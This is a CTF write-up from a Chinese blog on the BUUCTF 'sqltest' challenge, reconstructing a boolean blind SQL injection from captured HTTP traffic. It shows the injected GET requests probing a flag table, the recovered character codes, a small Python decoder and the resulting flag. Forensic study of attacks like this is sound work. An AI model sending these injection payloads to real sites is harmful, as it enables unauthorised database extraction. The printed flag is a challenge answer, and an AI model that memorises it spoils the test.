

# BUUCTF: sqltest

原创

末初 于 2020-10-18 19:00:43 发布 1864 收藏 3

分类专栏: [CTF\\_MISC\\_Writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/mochu7777777/article/details/109148389>

版权



[CTF\\_MISC\\_Writeup](#) 专栏收录该内容

246 篇文章 45 订阅

订阅专栏

题目地址: <https://buuoj.cn/challenges#sqltest>

Challenge 410 Solved

## sqltest

### 1

网站遭受到攻击了, 还好我们获取到了全部网络流量。链接:  
<https://pan.baidu.com/s/1AdQXVGKb6rkzqMLkSnGGBQ>  
提取码: 34uu 注意: 得到的 flag 请包上 flag{} 提交

Flag  Submit

<https://blog.csdn.net/mochu7777777>

## SQL盲注流量分析

No.	Time	Source	Destination	Protocol	Length	Info
62.	10.776742	172.16.80.11	10.0.2.15	HTTP	1095	HTTP/1.1 200 OK (text/html)
62.	10.772815	10.0.2.15	172.16.80.11	HTTP	475	GET /index.php?act=news&id=1&20and%20length(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))>37 HTTP/1.1
62.	10.776367	172.16.80.11	10.0.2.15	HTTP	1095	HTTP/1.1 200 OK (text/html)
62.	10.778803	10.0.2.15	172.16.80.11	HTTP	475	GET /index.php?act=news&id=1&20and%20length(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))>38 HTTP/1.1
62.	10.782574	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
62.	10.785452	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>100 HTTP/1.1
62.	10.789028	172.16.80.11	10.0.2.15	HTTP	1095	HTTP/1.1 200 OK (text/html)
62.	10.791432	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>200 HTTP/1.1
62.	10.794744	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
62.	10.796949	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>150 HTTP/1.1
62.	10.800719	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.802946	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>125 HTTP/1.1
63.	10.806742	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.809033	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>112 HTTP/1.1
63.	10.813012	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.815091	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>106 HTTP/1.1
63.	10.819292	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.821404	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>103 HTTP/1.1
63.	10.825210	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.827470	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>101 HTTP/1.1
63.	10.831466	172.16.80.11	10.0.2.15	HTTP	1095	HTTP/1.1 200 OK (text/html)
63.	10.833315	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>102 HTTP/1.1
63.	10.836954	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.839145	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>102 HTTP/1.1
63.	10.843293	172.16.80.11	10.0.2.15	HTTP	1027	HTTP/1.1 200 OK (text/html)
63.	10.845312	10.0.2.15	172.16.80.11	HTTP	495	GET /index.php?act=news&id=1&20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%202,%201))>100 HTTP/1.1
63.	10.849253	172.16.80.11	10.0.2.15	HTTP	1095	HTTP/1.1 200 OK (text/html)

```
102
108
97
103
123
52
55
101
100
98
56
51
48
48
101
100
53
102
57
98
50
56
102
99
53
52
98
48
100
48
57
101
99
100
101
102
55
125
```

```
f=open('test.txt','r').readlines()
for i in f:
    print(chr(int(i)),end="")
```

```
PS C:\Users\Administrator\Desktop> python .\test.py
flag{47edb830ed5f9b28fc54b0d09ecdef7}
```